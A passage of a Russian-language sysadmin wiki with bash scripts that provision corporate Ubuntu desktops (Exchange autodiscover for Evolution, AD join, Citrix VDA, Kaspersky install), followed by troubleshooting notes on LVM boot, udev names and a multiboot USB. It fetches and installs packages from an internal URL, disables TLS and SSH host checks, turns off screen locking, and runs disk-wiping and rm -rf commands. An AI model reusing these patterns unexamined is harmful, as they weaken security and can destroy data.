#### Joined AD with samba/winbind and have package gss-ntlmssp
###############################################################################################
AUTOD_URL="https://autodiscover.\`echo \$MAIL | sed 's/^.*@//'\`"/autodiscover/autodiscover.xml
REQUEST=\$(cat <<EOF
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
<Request>
<EMailAddress>\$MAIL</EMailAddress>
<AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
</Request>
</Autodiscover>
EOF
)

bash -c "curl -k -d '\$REQUEST' --header \"Content-Type: text/xml\" -s --negotiate -u : \$AUTOD_URL" > ~/.autodiscover.xml
OABUrl=\$(cat ~/.autodiscover.xml | grep -m 1 OABUrl | awk -F '[<>]' '{ print \$3 }')oab.xml
EwsUrl=\$(cat ~/.autodiscover.xml | grep -m 1 EwsUrl | awk -F '[<>]' '{ print \$3 }')
EwsHost=\$(echo \$EwsUrl | awk -F '/' '{ print \$3 }')
rm ~/.autodiscover.xml

echo CURRENT_DC - \$CURRENT_DC > ~/.ews_setup.log
echo FULL_NAME - \$FULL_NAME >> ~/.ews_setup.log
echo BASEDN - \$BASEDN >> ~/.ews_setup.log
echo MAIL - \$MAIL >> ~/.ews_setup.log
echo DOMAINNAME - \$DOMAINNAME >> ~/.ews_setup.log
echo OABUrl - \$OABUrl >> ~/.ews_setup.log
echo EwsUrl - \$EwsUrl >> ~/.ews_setup.log
echo EwsHost - \$EwsHost >> ~/.ews_setup.log
################################################################
### Check URLs format
################################################################
echo \$OABUrl | grep -E '(https|http)://(([[:alnum:]]|-|_|\.|~|!|\*|;|:|@|&|=|+|\$|,|/|\?|%|#|\[|\]])*/(oab|OAB)([[:alnum:]]|-|_|\.|~|!|\*|;|:|@|&|=|+|\$|,|/|\?|%|#|\[|\]])*/oab.xml)'
OAB_URL_Check=\$?
echo \$EwsUrl | grep -E '(https|http)://(([[:alnum:]]|-|_|\.|~|!|\*|;|:|@|&|=|+|\$|,|/|\?|%|#|\[|\]])*/(ews|EWS)([[:alnum:]]|-|_|\.|~|!|\*|;|:|@|&|=|+|\$|,|/|\?|%|#|\[|\]])*/exchange.asmx)'
EWS_URL_Check=\$?

if [ \$OAB_URL_Check != 0 ] || [ \$EWS_URL_Check != 0 ]; then
echo "OAB and EWS URLs check failed... Exit..." >> ~/.ews_setup.log
else
echo "OAB and EWS URLs check OK" >> ~/.ews_setup.log

######################################################################
### CleaningUp and creating evolution source files
######################################################################
killall evolution-source-registry
rm -Rf ~/.config/evolution/sources
mkdir --parents ~/.config/evolution/sources

#####################################################################################
cat <<EOF > ~/.config/evolution/sources/ews.\$USER.\$DOMAINNAME.1.source
[Data Source]
DisplayName=\$MAIL
Enabled=true
Parent=

[Offline]
StaySynchronized=true

[Authentication]
Host=\$EwsHost
Method=GSSAPI
Port=443
ProxyUid=system-proxy
RememberPassword=true
User=\$USER
CredentialName=

[Collection]
BackendName=ews
CalendarEnabled=true
ContactsEnabled=true
Identity=\$USER
MailEnabled=true

[Security]
Method=none

[Ews Backend]
FilterInbox=true
StoreChangesInterval=3
CheckAll=true
ListenNotifications=true
Email=\$MAIL
FilterJunk=true
FilterJunkInbox=false
FoldersInitialized=true
GalUid=ews.\$USER.\$DOMAINNAME
Hosturl=\$EwsUrl
Oaburl=\$OABUrl
OabOffline=true
OalSelected=
Timeout=300
UseImpersonation=false
ImpersonateUser=
EOF

######################################################################
cat <<EOF > ~/.config/evolution/sources/ews.\$USER.\$DOMAINNAME.0.source
[Data Source]
DisplayName=\$MAIL
Enabled=true
Parent=ews.\$USER.\$DOMAINNAME.1

[Mail Composition]
Bcc=
Cc=
DraftsFolder=folder://ews.\$USER.\$DOMAINNAME/%d0%a7%d0%b5%d1%80%d0%bd%d0%be%d0%b2%d0%b8%d0%ba%d0%b8
SignImip=true
TemplatesFolder=folder://local/Templates

[Mail Identity]
Address=\$MAIL
Name=\$FULL_NAME
Organization=
ReplyTo=
SignatureUid=none

[Mail Submission]
SentFolder=folder://ews.\$USER.\$DOMAINNAME/%d0%9e%d1%82%d0%bf%d1%80%d0%b0%d0%b2%d0%bb%d0%b5%d0%bd%d0%bd%d1%8b%d0%b5
TransportUid=ews.\$USER.\$DOMAINNAME.13
RepliesToOriginFolder=false
EOF

######################################################################
cat <<EOF > ~/.config/evolution/sources/ews.\$USER.\$DOMAINNAME.3.source
[Data Source]
DisplayName=\$MAIL
Enabled=true
Parent=ews.\$USER.\$DOMAINNAME.1

[Refresh]
Enabled=true
IntervalMinutes=3

[Mail Account]
BackendName=ews
IdentityUid=ews.\$USER.\$DOMAINNAME
ArchiveFolder=
EOF

###############################################################################
cat <<EOF > ~/.config/evolution/sources/ews.\$USER.\$DOMAINNAME.13.source
[Data Source]
DisplayName=\$MAIL
Enabled=true
Parent=ews.\$USER.\$DOMAINNAME.1

[Mail Transport]
BackendName=ews
EOF

################################################################################
cat <<EOF > ~/.config/evolution/sources/local.source
# Special built-in mail store.
[Data Source]
DisplayName=On This Computer
Enabled=false
Parent=

[Mail Account]
BackendName=maildir
IdentityUid=self
ArchiveFolder=

[Maildir Backend]
FilterInbox=true
Path=\$HOME/.local/share/evolution/mail/local
EOF

########################################################################
cat <<EOF > ~/.config/evolution/sources/vfolder.source
# Special built-in mail store.

[Data Source]
DisplayName=Search Folders
Enabled=false
Parent=

[Mail Account]
BackendName=vfolder
IdentityUid=self
ArchiveFolder=

[Vfolder Backend]
FilterInbox=true
EOF

##########################################################################
mkdir --parents ~/.config/evolution/mail/
cat <<EOF > ~/.config/evolution/mail/state.ini
[GlobalFolder]
GroupByThreads=false
PreviewVisible=true

[Store ews.\$USER.\$DOMAINNAME.3]
Expanded=true

[Search Bar]
SearchScope=mail-scope-current-folder
SearchOption=mail-search-subject-or-addresses-contain

[Folder Tree]
Selected=folder://ews.\$USER.\$DOMAINNAME.3/%d0%92%d1%85%d0%be%d0%b4%d1%8f%d1%89%d0%b8%d0%b5

[Folder folder://ews.\$USER.\$DOMAINNAME.3/%d0%92%d1%85%d0%be%d0%b4%d1%8f%d1%89%d0%b8%d0%b5]
GroupByThreads=false
PreviewVisible=true
Expanded=true

EOF

fi
fi
fi
ENDOFSCRIPT

chmod +x /etc/skel/.config/autostart-scripts/ews_autodiscovery.sh

#############################################################
### Disable Screen Locker By Default
#############################################################
mkdir --parents /etc/skel/.config/
cat <<EOF > /etc/skel/.config/kscreenlockerrc
[Daemon]
Autolock=false
EOF

#########################################################
### Disable KDEWallet By Default
#########################################################
mkdir --parents /etc/skel/.config
cat <<EOF > /etc/skel/.config/kwalletrc
[Wallet]
Enabled=false
EOF

############################################################
### Enable Autostart apps
############################################################
mkdir --parents /etc/skel/.config/autostart/
cp /usr/share/applications/sky.desktop /etc/skel/.config/autostart/

##########################################################
###Change Default Desktop View to Folder
##########################################################
cp /usr/share/plasma/shells/org.kde.plasma.desktop/contents/defaults /usr/share/plasma/shells/org.kde.plasma.desktop/contents/defaults.bak_`date +"%d.%m.%y_%H-%M"`
sed -i '/Containment=/ s/org.kde.desktopcontainment$/org.kde.plasma.folder/' /usr/share/plasma/shells/org.kde.plasma.desktop/contents/defaults

#############################################################
### Disable Desktop Effects By Default (Compositor)
#############################################################
cat <<EOF > /etc/skel/.config/kwinrc
[Compositing]
Enabled=false
EOF

#########################################################
### Create Default Shortcuts
#########################################################
mkdir --parents /etc/skel/Desktop
cp /usr/share/applications/evolution.desktop /etc/skel/Desktop/
cp /usr/share/applications/libreoffice-calc.desktop /etc/skel/Desktop/
cp /usr/share/applications/libreoffice-writer.desktop /etc/skel/Desktop/
cp /usr/share/applications/libreoffice-impress.desktop /etc/skel/Desktop/
cp /usr/share/applications/yandex-browser-beta.desktop /etc/skel/Desktop/
cp /usr/share/applications/org.kde.konsole.desktop /etc/skel/Desktop/
cp /usr/share/applications/org.kde.dolphin.desktop /etc/skel/Desktop/

chmod +x /etc/skel/Desktop/*

###############################################################################
### Modifying KDE default panel settings
### https://forum.kde.org/viewtopic.php?f=67&t=94534#p193422
### http://askubuntu.com/questions/897979/unable-to-populate-a-kde-quicklaunch-widget-via-the-plasma-scripting-interface
##############################################################################
cp /usr/share/plasma/layout-templates/org.kde.plasma.desktop.defaultPanel/contents/layout.js /usr/share/plasma/layout-templates/org.kde.plasma.desktop.defaultPanel/contents/layout.js.bak_`date +"%d.%m.%y_%H-%M"`
#########################################################
#### Change kickoff menu to kicker by default for new users
#### org.kde.plasma.kickoff -> org.kde.plasma.kicker
#########################################################
sed -i 's/kickoff/kicker/g' /usr/share/plasma/layout-templates/org.kde.plasma.desktop.defaultPanel/contents/layout.js
###########################################################################
#### Add quick launchers
############################################################################
QUICKLAUNCHERS=$(cat <<EOF

//Add QuickLaunchers
var quicklaunch = panel.addWidget("org.kde.plasma.quicklaunch");
var qlurls = ["file:///usr/share/applications/yandex-browser-beta.desktop",
          "file:///usr/share/applications/evolution.desktop",
          "file:///usr/share/applications/libreoffice-writer.desktop",
          "file:///usr/share/applications/libreoffice-calc.desktop",
          "file:///usr/share/applications/org.kde.dolphin.desktop",
          "file:///usr/share/applications/org.kde.konsole.desktop"
         ];
quicklaunch.currentConfigGroup = ["General"];
quicklaunch.writeConfig("launcherUrls", qlurls);
EOF
)

grep -q "//Add QuickLaunchers" /usr/share/plasma/layout-templates/org.kde.plasma.desktop.defaultPanel/contents/layout.js
[ $? -ne 0 ] && while read line
do
        echo "$line" >> /usr/share/plasma/layout-templates/org.kde.plasma.desktop.defaultPanel/contents/layout.js_new
        echo "$line" | grep -q "kicker.writeConfig"
        [ $? -eq 0 ] && echo "$QUICKLAUNCHERS" >> /usr/share/plasma/layout-templates/org.kde.plasma.desktop.defaultPanel/contents/layout.js_new
done < /usr/share/plasma/layout-templates/org.kde.plasma.desktop.defaultPanel/contents/layout.js

mv /usr/share/plasma/layout-templates/org.kde.plasma.desktop.defaultPanel/contents/layout.js_new /usr/share/plasma/layout-templates/org.kde.plasma.desktop.defaultPanel/contents/layout.js

###########################################################################################
### Enable Russian Locale
###########################################################################################
locale-gen ru_RU.UTF-8
update-locale LANG="ru_RU.UTF-8" LANGUAGE="ru_RU"
mkdir --parents /etc/skel/.config/
cat <<EOF > /etc/skel/.config/plasma-locale-settings.sh
# Generated script, do not edit
# Exports language-format specific env vars from startkde.
# This script has been generated from kcmshell5 formats.
# It will automatically be overwritten from there.
export LANG=cu_RU.UTF-8
export LANGUAGE=ru
EOF

cat <<EOF > /etc/skel/.config/plasma-localerc
[Formats]
LANG=cu_RU.UTF-8

[Translations]
LANGUAGE=ru
EOF

cat <<EOF > /etc/skel/.config/kdeglobals
[Translations]
LANGUAGE=ru
EOF

mkdir --parents /etc/skel/.config/KDE
cat <<EOF > /etc/skel/.config/KDE/Sonnet.conf
[General]
autodetectLanguage=true
backgroundCheckerEnabled=true
checkUppercase=true
checkerEnabledByDefault=false
defaultClient=
defaultLanguage=ru_RU
ignore_ru_RU=Amarok, KAddressBook, KDevelop, KHTML, KIO, KJS, KMail, KMix, KOrganizer, Konqueror, Kontact, Nepomuk, Okular, Qt, Sonnet
skipRunTogether=true
EOF

cat <<EOF > /etc/skel/.config/kcminputrc
[Keyboard]
KeyboardRepeating=0
NumLock=2
RepeatDelay=600
RepeatRate=25
EOF

cat <<EOF > /etc/skel/.config/kxkbrc
[Layout]
DisplayNames=,
LayoutList=ru,us
LayoutLoopCount=-1
Model=pc101
Options=grp:alt_shift_toggle,grp:ctrl_shift_toggle
ResetOldOptions=true
ShowFlag=false
ShowLabel=true
ShowLayoutIndicator=true
ShowSingle=false
SwitchMode=Global
Use=true
EOF

############################################################
### Export Locale Variables
############################################################
mkdir --parents /etc/skel/.config/plasma-workspace/env/
cat <<EOF > /etc/skel/.config/plasma-workspace/env/locale_ru.sh
#!/bin/bash
export LANG=ru_RU.utf8
export LANGUAGE=ru_RU
EOF

###########################################################
### Set MIME types applications
###########################################################
xdg-settings set default-url-scheme-handler yandex-browser-beta.desktop
xdg-settings set default-url-scheme-handler yandex-browser-beta.desktop

#cat <<EOF > /etc/skel/.config/mimeapps.list
#[Default Applications]
#inode/directory=org.kde.dolphin.desktop
#x-scheme-handler/http=yandex-browser-beta.desktop
#x-scheme-handler/https=yandex-browser-beta.desktop
#EOF

#######################################################################################
### Setup LibreOffice Locale
#######################################################################################
mkdir --parents /etc/skel/.config/libreoffice/4/user/
cat <<EOF > /etc/skel/.config/libreoffice/4/user/registrymodifications.xcu
<?xml version="1.0" encoding="UTF-8"?>
<oor:items xmlns:oor="http://openoffice.org/2001/registry" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<item oor:path="/org.openoffice.Setup/Office/Factories/org.openoffice.Setup:Factory['com.sun.star.presentation.PresentationDocument']"><prop oor:name="ooSetupFactoryDefaultFilter" oor:op="fuse"><value>Impress MS PowerPoint 2007 XML</value></prop></item>
<item oor:path="/org.openoffice.Setup/Office/Factories/org.openoffice.Setup:Factory['com.sun.star.sheet.SpreadsheetDocument']"><prop oor:name="ooSetupFactoryDefaultFilter" oor:op="fuse"><value>Calc MS Excel 2007 XML</value></prop></item>
<item oor:path="/org.openoffice.Setup/Office/Factories/org.openoffice.Setup:Factory['com.sun.star.text.TextDocument']"><prop oor:name="ooSetupFactoryDefaultFilter" oor:op="fuse"><value>MS Word 2007 XML</value></prop></item>
<item oor:path="/org.openoffice.Office.Linguistic/ServiceManager/SpellCheckerList"><prop oor:name="ru-RU" oor:op="fuse" oor:type="oor:string-list"><value><it>org.openoffice.lingu.MySpellSpellChecker</it></value></prop></item>
<item oor:path="/org.openoffice.Office.Linguistic/ServiceManager/SpellCheckerList"><prop oor:name="en-US" oor:op="fuse" oor:type="oor:string-list"><value><it>org.openoffice.lingu.MySpellSpellChecker</it></value></prop></item>
<item oor:path="/org.openoffice.Office.Linguistic/ServiceManager/LastFoundSpellCheckers"><prop oor:name="ru-RU" oor:op="fuse" oor:type="oor:string-list"><value><it>org.openoffice.lingu.MySpellSpellChecker</it></value></prop></item>
<item oor:path="/org.openoffice.Office.Linguistic/ServiceManager/LastFoundSpellCheckers"><prop oor:name="en-US" oor:op="fuse" oor:type="oor:string-list"><value><it>org.openoffice.lingu.MySpellSpellChecker</it></value></prop></item>
<item oor:path="/org.openoffice.Office.Linguistic/General"><prop oor:name="DefaultLocale_CTL" oor:op="fuse"><value></value></prop></item>
<item oor:path="/org.openoffice.Office.Linguistic/General"><prop oor:name="DefaultLocale" oor:op="fuse"><value>ru-RU</value></prop></item>
<item oor:path="/org.openoffice.Office.Linguistic/General"><prop oor:name="DefaultLocale_CJK" oor:op="fuse"><value></value></prop></item>
<item oor:path="/org.openoffice.Office.Linguistic/General"><prop oor:name="IsIgnoreControlCharacters" oor:op="fuse"><value>true</value></prop></item>
<item oor:path="/org.openoffice.Office.Linguistic/General"><prop oor:name="UILocale" oor:op="fuse"><value>ru</value></prop></item>
<item oor:path="/org.openoffice.Setup/L10N"><prop oor:name="ooLocale" oor:op="fuse"><value>ru</value></prop></item>
<item oor:path="/org.openoffice.Setup/L10N"><prop oor:name="ooSetupSystemLocale" oor:op="fuse"><value>ru-RU</value></prop></item>
<item oor:path="/org.openoffice.Setup/L10N"><prop oor:name="IgnoreLanguageChange" oor:op="fuse"><value>false</value></prop></item>
<item oor:path="/org.openoffice.Setup/L10N"><prop oor:name="DecimalSeparatorAsLocale" oor:op="fuse"><value>true</value></prop></item>
</oor:items>
EOF

####################################################################
#### Install Kaspersky
####################################################################
ADDONSDIR="/tmp/addons"
mkdir --parents $ADDONSDIR
curl http://szud-linux-repo.sigma.sbrf.ru/addons.tar.gz | tar -xzv -C $ADDONSDIR
apt-get -y install libc6-i386 build-essential
dpkg -i --force-architecture $ADDONSDIR/kes10/*.deb

###‘PT_PTRACE_CAP’ undeclared (first use in this function)
sed -i 's/ | PT_PTRACE_CAP//' /opt/kaspersky/kav4fs/src/kernel/module.linux/interceptor_rfs.c
/opt/kaspersky/kav4fs/bin/kav4fs-setup.pl --auto-install=$ADDONSDIR/kes10/install.conf

### i_mutex_fix
sed -i 's/mutex_lock(&inode->i_mutex);/inode_lock(inode);/' /opt/kaspersky/kav4fs/src/kernel/redirfs/rfs.h
sed -i 's/mutex_unlock(&inode->i_mutex);/inode_unlock(inode);/' /opt/kaspersky/kav4fs/src/kernel/redirfs/rfs.h

/opt/kaspersky/klnagent/lib/bin/setup/postinstall.pl <$ADDONSDIR/kes10/server
/opt/kaspersky/kav4fs/bin/kav4fs-wmconsole-passwd
service kav4fs-wmconsole restart

reboot

Join AD & Setup VDA

#! /bin/bash

####################################
#### Set needed Variables
####################################
NEW_HOSTNAME=$1
CONNECTION=`ip link | grep 'state UP' | awk '{ print $2 }' | sed 's/:$//'`
NEW_DOMAINNAME=`grep 'option domain-name' /var/lib/dhcp/dhclient.$CONNECTION.leases | tail -n 1 | awk '{print $3}' | sed 's/"//g;s/;//g'`

# check root
if [ "$(id -u)" != "0" ]; then
  echo "You do not have the appropriate privileges..."
  exit 1
fi

# check hostname $1
if [[ -z "$1" ]]; then
        echo "Hostname is epmty"
        echo "Try to run: ./join_ad_ctx.sh new-host-name"
        exit 1
fi

###############################################
### Setting HOSTNAME, DOMAINNAME
###############################################
sed -i '/^127./D' /etc/hosts
echo "127.0.0.1 $NEW_HOSTNAME.$NEW_DOMAINNAME $NEW_HOSTNAME localhost" | sudo tee -a /etc/hosts
echo "127.0.0.2 $NEW_HOSTNAME.$NEW_DOMAINNAME $NEW_HOSTNAME" | sudo tee -a /etc/hosts
hostname $NEW_HOSTNAME
domainname $NEW_DOMAINNAME
echo $NEW_HOSTNAME.$NEW_DOMAINNAME | sudo tee /etc/HOSTNAME
echo $NEW_HOSTNAME.$NEW_DOMAINNAME | sudo tee /etc/hostname

net ads join -U ADDSIGMACA

/opt/Citrix/VDA/sbin/ctxcleanup.sh
CTX_XDL_SUPPORT_DDC_AS_CNAME=N \
CTX_XDL_DDC_LIST="v-szud-ctxdc-01.sigma.sbrf.ru v-szud-ctxdc-02.sigma.sbrf.ru" \
CTX_XDL_VDA_PORT=80 \
CTX_XDL_REGISTER_SERVICE=Y \
CTX_XDL_ADD_FIREWALL_RULES=Y \
CTX_XDL_AD_INTEGRATION=1 \
CTX_XDL_HDX_3D_PRO=N \
CTX_XDL_VDI_MODE=Y \
CTX_XDL_SITE_NAME='<none>' \
CTX_XDL_LDAP_LIST='<none>' \
CTX_XDL_SEARCH_BASE='<none>' \
CTX_XDL_START_SERVICE=Y \
/opt/Citrix/VDA/sbin/ctxsetup.sh

sleep 10
reboot

Join multiple VMs to AD

#! /bin/bash
vms_ip=$(cat <<EOF
10.38.246.47
10.38.247.23
10.38.246.46
10.38.247.22
10.38.246.45
10.38.246.44
10.38.246.43
10.38.246.42
10.38.246.41
EOF
)

i=30
for ip_addr in $vms_ip; do
echo 'IP '$ip_addr ' name - szud-ubuntu'$i
ssh -o StrictHostKeyChecking=no -t localuser@$ip_addr "sudo ~/join_ad_setup_ctx.sh szud-ubuntu$i" &
((i-=1))
done

ubuntu_vpn_no_suitable_device_found_could_not_find_source_connection

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

Проблема

При попытке установить VPN-соединение в Ubuntu 16.04 появляются ошибки: “No suitable device found” или “Could not find source connection”.

Причина

Причина в том, что сервис NetworkManager не управляет подключениями. Команда:

nmcli c

Не показывает подключения.

Решение

В файлике /etc/NetworkManager/NetworkManager.conf, в разделе [ifupdown] нужно поменять:

managed=false

на

managed=true

А затем выполнить:

sudo service network-manager restart

ubuntu_wont_boot_initramfs_no_input_no_cursor

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

Проблема

После очередного обновления пакетов:

sudo apt-get update && sudo apt-get upgrade

Ubuntu 14.04, корневой раздел которой был на lvm, перестала загружаться и стала выпадать в initramfs shell с сообщением Gave up waiting for root device.
На первый взгляд все просто.
Корневая файловая система работает на томе lvm и почему-то при старте не активируются тома lvm. Однако, кроме того, в консоли initramfs не вводятся символы, не виден мигающий курсор.
Опытным путем установлено, что причина неработоспособности клавиатуры в initramfs shell не в ядре (я пробывал установить и более новые и более старые версии с помощью chroot в LiveCD), не в клавиатуре (она работает в LiveCD).
Временно починить ввод в initramfs shell удалось с помощью добавления к строке запуска ядра параметра console. Для этого в меню grub идем в Advanced Options, выбираем строку с нужным ядром, жмем e и в конце строки linux дописываем:

console tty=1

или

console tty=2

И нажимаем F10.
В результате удалось загрузиться в initramfs shell и там появился курсор, однако вводимве символы были не видны.
Ну да ладно. Чтобы загрузить систему я выполнил:

lvm vgchange -ay

системы сказала что 2 тома Activated. Теперь делаем:

exit

И система грузится. Тепеь надо починить все как было. Я предположил, что дело в поврежденных скриптах initramfs и для тогт чтобы все поправить надо переустановить initramfs-tools, однако в моем случае переустановить его оказалось не так-то просто. Выполнение команды

sudo apt-get install --reinstall

и последующее пересоздание initrd результата не принесли. Удалить оказалось тоже невозможно, так как от этого пакета зависят многие другие (хз зачем он им). Для того чтобы точно переустановить initramfs-tools я отредактировал файлик /var/lib/dpkg/status. В нем нужно найти и удалить секцию пакета initramfs-tools (в результате apt будет думать, что пакета нет) а потом выполнить:

sudo apt-get -f install

При установке будут задаваться вопросы о замене текущий файликов, где я везде нажимал Y. Потом делаем:

update-initramfs -c -k all

reboot

Наконец-то система стала загружаться в нормальный initramfs shell, без необходимости указания console=tty1.
Дальнейшее гугление подсказало, что нужно создать или починить скрипт /usr/share/initramfs-tools/scripts/local-top/lvm2, который должен подготовить тома lvm к монтированию.
На моей системе его просто не было, хотя до определенного момента все работало. Я создал этот скрипт и написал туда вот что:

#!/bin/sh
lvm vgchange -ay

После этого собрал initramfs командой:

 sudo update-initramfs -c -k all

И перезагрузился. Система загрузилась нормально. Дальнейшее выяснение привело меня сюда: https://bugs.launchpad.net/ubuntu/+source/lvm2/+bug/1573982 И там написано, что причина такого глюка в обновлении lvm2.

lvm2 (2.02.133-1ubuntu8) xenial; urgency=medium

  * Drop debian/85-lvm2.rules. This is redundant now, VGs are already
    auto-assembled via lvmetad and 69-lvm-metad.rules. This gets rid of using
    watershed, which causes deadlocks due to blocking udev rule processing.
    (LP: #1560710)
  * debian/rules: Put back initramfs-tools script to ensure that the root and
    resume devices are activated (lvmetad is not yet running in the initrd).
  * debian/rules: Put back activation systemd generator, to assemble LVs in
    case the admin disabled lvmetad.
  * Make debian/initramfs-tools/lvm2/scripts/init-premount/lvm2 executable and
    remove spurious chmod +x Ubuntu delta in debian/rules.

 -- Martin Pitt <email address hidden> Wed, 30 Mar 2016 10:56:49 +0200

ubuntu_x11_wayland_switch

anonymous@undisclosed.example.com (Anonymous) — Fri, 04 Jun 2021 12:35:29 +0000

В качестве рабочей среды я использую Ubuntu + KDE.
Узнав, что сборки Ubuntu на базе Gnome будут по дефолту использовать Wayland я тоже захотел так.
Однако - оказалось на данный момент это невозможно.
Полный список проблем, которые сопровождают работу KDE Plasma на Wayland тут: https://community.kde.org/Plasma/Wayland_Showstoppers Пока (июнь 2021) я решил обождать :)

Как проверить какой сервер используется - Wayland или Xorg (X11)

echo $XDG_SESSION_TYPE

или

loginctl show-session `loginctl | grep $USER | awk '{print $1}'` -p Type

Для того чтобы запустить сессию KDE Plasma в Wayland

sudo apt-get install kwin-wayland plasma-workspace-wayland

И теперь внизу экрана входа SDDM будет отображаться тип сессии, где можно выбрать Wayland или X11 Xorg

Если GUI-программа не поддерживает Waylang

Некоторые программы, запускаемые с повышенными привилегиями (sudo) не работают с Wayland.
Чтобы запустить такую программу выполняем:

xhost +si:localuser:root

И затем запускаем программу:

sudo gparted

udev_network_adapters_names

anonymous@undisclosed.example.com (Anonymous) — Wed, 04 Jun 2025 08:23:19 +0000

Проблема

После смены ноутбука слетели все пароли Wi-Fi на Ubuntu 24.04.
Оказалось, в конфигах подключений Network Manager хранит имя девайса, а при смене адаптера оно изменилось, но это не глюк - это фича!
systemd/udev predictable device names - https://www.freedesktop.org/wiki/Software/systemd/PredictableNetworkInterfaceNames/
У меня было имя адаптера wlp2s0, а стало - wlp195s0.

Как задать сетевому адаптеру нужное (прежнее) имя

Смотрим какие есть свойства у адаптера:

 udevadm info /sys/class/net/wlp195s0 

P: /devices/pci0000:00/0000:00:02.3/0000:c3:00.0/net/wlp195s0
M: wlp195s0
R: 0
U: net
T: wlan
I: 2
E: DEVPATH=/devices/pci0000:00/0000:00:02.3/0000:c3:00.0/net/wlp195s0
E: SUBSYSTEM=net
E: DEVTYPE=wlan
E: INTERFACE=wlp195s0
E: IFINDEX=2
E: USEC_INITIALIZED=12481317
E: ID_NET_DRIVER=mt7925e
E: ID_MM_CANDIDATE=1
E: ID_NET_NAMING_SCHEME=v255
E: ID_NET_NAME_MAC=wlxa8e291162c6a
E: ID_NET_NAME_PATH=wlp195s0
E: ID_BUS=pci
E: ID_VENDOR_ID=0x14c3
E: ID_MODEL_ID=0x7925
E: ID_PCI_CLASS_FROM_DATABASE=Network controller
E: ID_PCI_SUBCLASS_FROM_DATABASE=Network controller
E: ID_VENDOR_FROM_DATABASE=MEDIATEK Corp.
E: ID_PATH=pci-0000:c3:00.0
E: ID_PATH_TAG=pci-0000_c3_00_0
E: ID_NET_LINK_FILE=/usr/lib/systemd/network/99-default.link
E: ID_NET_NAME=wlp195s0
E: NM_UNMANAGED=0
E: SYSTEMD_ALIAS=/sys/subsystem/net/devices/wlp195s0
E: TAGS=:systemd:
E: CURRENT_TAGS=:systemd:

И формулируем какое-нибудь правило:

sudo nano /etc/udev/rules.d/70-persistent-net.rules

по mac-адресу

SUBSYSTEM=="net", ACTION=="add", ATTR{address}=="00:11:22:33:44:55", NAME="net0"

по vendor/device

SUBSYSTEM=="net", ACTION=="add", ATTRS{vendor}=="0x14c3", ATTRS{device}=="0x7925", NAME="wlp2s0"

И применим

sudo udevadm control --reload
sudo udevadm trigger

uninstall_python_installed_from_source

anonymous@undisclosed.example.com (Anonymous) — Fri, 21 Oct 2022 12:09:44 +0000

#!/bin/bash

prefix='/usr/local/'
pyver='3.8'

rm -rf \
    $HOME/.local/lib/Python${pyver} \
    ${prefix}bin/python${pyver} \
    ${prefix}bin/python${pyver}-config \
    ${prefix}bin/pip${pyver} \
    ${prefix}bin/pydoc \
    ${prefix}bin/include/python${pyver} \
    ${prefix}lib/libpython${pyver}.a \
    ${prefix}lib/python${pyver} \
    ${prefix}lib/pkgconfig/python-${pyver}.pc \
    ${prefix}lib/libpython${pyver}m.a \
    ${prefix}bin/python${pyver}m \
    ${prefix}bin/2to3-${pyver} \
    ${prefix}bin/python${pyver}m-config \
    ${prefix}bin/idle${pyver} \
    ${prefix}bin/pydoc${pyver} \
    ${prefix}bin/pyvenv-${pyver} \
    ${prefix}share/man/man1/python${pyver}.1 \
    ${prefix}include/python${pyver}m \
    ${prefix}include/python${pyver} \
    ${prefix}bin/easy_install-${pyver}

universal_multiboot_grub_bios_uefi

anonymous@undisclosed.example.com (Anonymous) — Thu, 16 Jan 2025 20:38:58 +0000

Универсальная загрузочная флешка для BIOS/UEFI

В один прекрасный момент я стал обладателем машинки, которая загружалась только с помощью UEFI. Переключателя на классический режим загрузки в BIOS не обнаружилось. Загрузиться с моей любимой Мультизагрузочной Linux-флешки оказалось невозможно. Более того - оказалось невозможно загрузиться и с помощью многих других образов, загрузчик в которых не работал с EFI.
Настало время переделать мультизагрузочную флешку, чтобы она работала на любых системах!

По мотивам https://wiki.archlinux.org/index.php/Multiboot_USB_drive#Hybrid_UEFI_GPT_.2B_BIOS_GPT.2FMBR_boot

Подготовка

На Ubuntu надо поставить такое:

sudo add-apt-repository universe
sudo apt-get install grub-efi-amd64-bin exfat-fuse exfat-utils

или, если exfat-utils в вашем дистрибутиве нет, то:

sudo apt-get install grub-efi-amd64-bin exfat-fuse exfatprogs

Разметка флешки

Полностью переразмечаем диск. Создадим четыре раздела.

Раздел с данными, на котором будут лежать ISO-образы и конфигурация grub.
Раздел 8Gb для распакованного дистрибутива Windows (или образа WinPE).
Загрузочный раздел EFI (размер - 48 Мб).
Загрузочный раздел BIOS (размер 1 Мб).

disk='/dev/sdX'
disk_size=`expr $(sudo sgdisk -p $disk | awk '/Disk \// {print($3)}')`
sudo sgdisk --zap-all $disk
sudo sgdisk --mbrtogpt --clear $disk
sudo sgdisk --new=1:2048:$(expr $disk_size - 16877568) $disk
sudo sgdisk --typecode=1:0700 $disk
sudo sgdisk --new=2:$(expr $disk_size - 16875520):$(expr $disk_size - 102401) $disk
sudo sgdisk --typecode=2:0700 $disk
sudo sgdisk --new=3:$(expr $disk_size - 102400):$(expr $disk_size - 4097) $disk
sudo sgdisk --typecode=3:EF00 $disk
sudo sgdisk --new=4:$(expr $disk_size - 4096):$(expr $disk_size - 34) $disk
sudo sgdisk --typecode=4:EF02 $disk
sudo sgdisk --attributes=4:set:2 $disk

Отформатируем разделы и смонтируем их.
Разделы с данными будем форматировать в NTFS. Это позволит работать с флехой из-под Windows и заливать большие файлы (больше 4-х Гб).
Как ни странно, и KNOPPIX и SystemRescueCD нормально загрузились с помощью образов, размещенных на разделах, отформатированных в NTFS!!!
Стоит отметить, что при использовании ntfs-3g, запись на разделы отформатированные в NTFS в Linux происходит гораздо медленнее, чем на разделы FAT32 или ExFAT. Однако, с этим можно смириться - ведь образы заливаешь один раз, но при этом - сохраняется возможность работать с флехой под виндой и загружаться с больших образов.

sudo mkfs.vfat -F 32 ${disk}3
sudo mkfs.ntfs -f ${disk}1
sudo mkfs.ntfs -f ${disk}2

sudo mkdir /mnt/usb_efi
sudo mkdir /mnt/usb_data/

sudo mount  -o async,big_writes,noatime ${disk}1 /mnt/usb_data/
